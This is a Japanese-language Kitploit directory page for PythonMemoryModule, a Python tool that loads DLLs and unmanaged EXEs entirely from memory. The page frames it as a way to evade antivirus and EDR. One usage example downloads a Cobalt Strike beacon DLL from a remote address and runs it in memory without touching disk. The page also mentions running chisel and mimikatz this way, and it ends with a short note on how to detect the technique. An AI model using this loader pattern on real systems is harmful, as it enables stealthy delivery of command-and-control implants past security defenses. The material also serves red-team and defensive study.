Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PythonMemoryModule — メモリからDLLおよびアンマネージドexeを完全に読み込むためのMemoryModuleテクニックのpure-python実装 | Kitploit
ツール/GitHubGitHub/naksyn/pythonmemorymodule
エクスプロイトフレームワークペネトレーションテストレッドチーミング
GitHubnaksyn/pythonmemorymodule

PythonMemoryModule

メモリからDLLおよびアンマネージドexeを完全に読み込むためのMemoryModuleテクニックのpure-python実装

リポジトリを見る
3405252年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Supported Python versions Twitter

PythonMemoryModule

MemoryModule技術の純粋なPython実装。DLLまたはアンマネージドEXEをメモリから完全にロードします。

immagine
"Python memory module" AI生成画像 - hotpot.ai

概要

PythonMemoryModuleは、Joachim Bauch氏が最初に公開したMemoryModule技術のPython ctypes移植版です。外部ライブラリ(pyd)を必要とせずにPythonを使用してDLLやアンマネージドEXEをロードでき、コマンドラインパラメータの受け渡しを(部分的に)サポートしています。

このツールは、PEヘッダーの解析にpefile、プロセスパラメータへのアクセスにPythonForWindows、そして主要な処理にctypesを利用しています。元々はPyramidモジュールとして、python.exeにdll/exeペイロードをメモリから完全にロードすることでAV/EDRに対する回避を提供するために考案されましたが、他のユースケース(IP保護、pydのメモリ内ロード、他のステルス技術への派生)も可能であるため、専用のリポジトリを作成することにしました。

なぜ有用か

  1. 基本的に、MemoryModule技術をPythonインタプリタ言語で完全に使用できるようにします。標準の署名済みpython.exeバイナリを使用して、AV/EDRにフラグが立てられたりユーザーの疑念を招く可能性のある外部コード/ライブラリ(pymemorymoduleバインディングなど)をディスクにドロップすることなく、メモリバッファからDLLをロードできます。
  • コンパイル言語のローダーでMemoryModule技術を使用するには、ローダー自体にMemoryModuleコードを埋め込む必要があります。Pythonインタプリタ言語とPythonMemoryModuleを使用すれば、コードを動的かつメモリ内で実行できるため、これを回避できます。
  • 動的にメモリ内でダウンロード、復号化、ロードすることで、詮索好きな目から隠すべきDLLに対してある程度の知的財産保護を得られます。DLLはメモリからリカバリしてリバースエンジニアリングされる可能性があることに留意してください。しかし、少なくとも攻撃者にはより多くの労力が必要になります。
  • インジェクションやシェルコード実行を行わずに、ステージレスペイロードDLLをロードできます。ロードプロセスは、LoadLibrary Windows API(ディスク上のパスを入力として受け取る)を実際に呼び出さずにメモリ内で動作することで模倣します。
  • 使用方法

    例1

    次の例では、Cobalt StrikeのステージレスビーコンDLLをダウンロード(ディスクに保存せず)、メモリにロードし、エントリポイントを呼び出して起動します。

    root@kitploit:~
    import urllib.request
    import ctypes
    import pythonmemorymodule
    request = urllib.request.Request('http://192.168.1.2/beacon.dll')
    result = urllib.request.urlopen(request)
    buf=result.read()
    dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
    startDll = dll.get_proc_addr('StartW')
    assert startDll()
    #dll.free_library()
    

    注意: malleableプロファイルでステージングを使用する場合、DLLはLoadLibraryでロードできないため、MemoryModuleは機能しません。

    例2

    次の例では、コマンドラインパラメータ渡し機能を使用して、chiselをメモリ内で実行します。

    https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7

    コマンドラインパラメータの受け渡し - 部分的なサポート

    この技術は、実行時にPEB上のCommandLineパラメータを上書きすることで実装されています。引数の受け渡しに使用される関数に依存するため、すべての実行可能ファイルで動作するわけではありません。

    一般的に、普遍的に動作する技術を得るには、GetCommandlineA、GetCommandlineW、__getmainargs、__wgetmainargsをフックする必要があります。PEBの上書きではすべてのケースをカバーできないためです。詳細はこちら

    テスト中、mimikatzやいくつかのGoバイナリはPEB上書きだけで動作することがわかりました。一方、mingwやVisual StudioでコンパイルされたバイナリへのPEB上書きのみによるコマンドライン受け渡しはおそらく機能しません。

    検出方法

    MemoryModule技術を使用すると、ほとんどの場合、対象DLLのセクションの権限が尊重され、ノイズの多いRWXアプローチは回避されます。ただし、プログラムメモリ内には、ディスク上のDLLにバックアップされないプライベートコミットが存在し、これがMemoryModuleの特徴的な痕跡となります。

    ツールをダウンロード